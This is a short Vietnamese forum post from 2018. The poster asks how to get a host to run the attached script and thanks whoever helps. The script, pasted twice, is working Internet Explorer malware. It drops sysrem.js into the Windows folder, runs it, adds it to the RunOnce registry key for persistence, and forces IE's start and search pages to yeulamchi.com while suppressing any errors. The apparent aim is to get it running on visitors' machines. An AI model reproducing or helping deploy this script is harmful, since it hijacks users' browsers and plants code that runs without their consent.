09/10/2018, 22:46
làm sao đê host có thể chạy đc code này?ai giúp tôi với
<script language="javascript">
try {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var Shell = new ActiveXObject("WScript.Shell");
var tfolder2 = fso.GetSpecialFolder(0);
var filepath2 = tfolder2 + "\sysrem.js";
var a2 = fso.CreateTextFile(filepath2, true);
a2.WriteLine('var url = "http://yeulamchi.com";');
a2.WriteLine('var burl = "http://yeulamchi.com";');
a2.WriteLine('var fso = new ActiveXObject("Scripting.FileSystemObject");');
a2.WriteLine('var tfolder = fso.GetSpecialFolder(0);');
a2.WriteLine('var filepath = tfolder + "\\sysrem.js";');
a2.WriteLine('var Shell = new ActiveXObject("WScript.Shell");');
a2.WriteLine('Shell.RegWrite("HKLM\\Software\\ Microsoft\\Windows\\CurrentVersion\\RunOnce \ lc",filepath);');
a2.WriteLine('Shell.RegWrite("HKCU\\Software\\ Microsoft\\Internet Explorer\\Main\\Start Page",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\Software\\ Microsoft\\Internet Explorer\\Main\\Search Page",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\Software\\ Microsoft\\Internet Explorer\\Main\\Search Bar",burl);');
a2.WriteLine('Shell.RegWrite("HKCU\\Software\\ Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");');
a2.WriteLine('Shell.RegWrite("HKCU\\Software\\ Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");');
a2.Close();
Shell.Run(filepath2);
}
catch (e){}
</script>
try {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var Shell = new ActiveXObject("WScript.Shell");
var tfolder2 = fso.GetSpecialFolder(0);
var filepath2 = tfolder2 + "\sysrem.js";
var a2 = fso.CreateTextFile(filepath2, true);
a2.WriteLine('var url = "http://yeulamchi.com";');
a2.WriteLine('var burl = "http://yeulamchi.com";');
a2.WriteLine('var fso = new ActiveXObject("Scripting.FileSystemObject");');
a2.WriteLine('var tfolder = fso.GetSpecialFolder(0);');
a2.WriteLine('var filepath = tfolder + "\\sysrem.js";');
a2.WriteLine('var Shell = new ActiveXObject("WScript.Shell");');
a2.WriteLine('Shell.RegWrite("HKLM\\Software\\ Microsoft\\Windows\\CurrentVersion\\RunOnce \ lc",filepath);');
a2.WriteLine('Shell.RegWrite("HKCU\\Software\\ Microsoft\\Internet Explorer\\Main\\Start Page",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\Software\\ Microsoft\\Internet Explorer\\Main\\Search Page",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\Software\\ Microsoft\\Internet Explorer\\Main\\Search Bar",burl);');
a2.WriteLine('Shell.RegWrite("HKCU\\Software\\ Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");');
a2.WriteLine('Shell.RegWrite("HKCU\\Software\\ Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");');
a2.Close();
Shell.Run(filepath2);
}
catch (e){}
</script>
Bài liên quan
cám ơn ông a trước
Ví dụ dùng Javascript với phiên bản IE 5 và trễ hơn: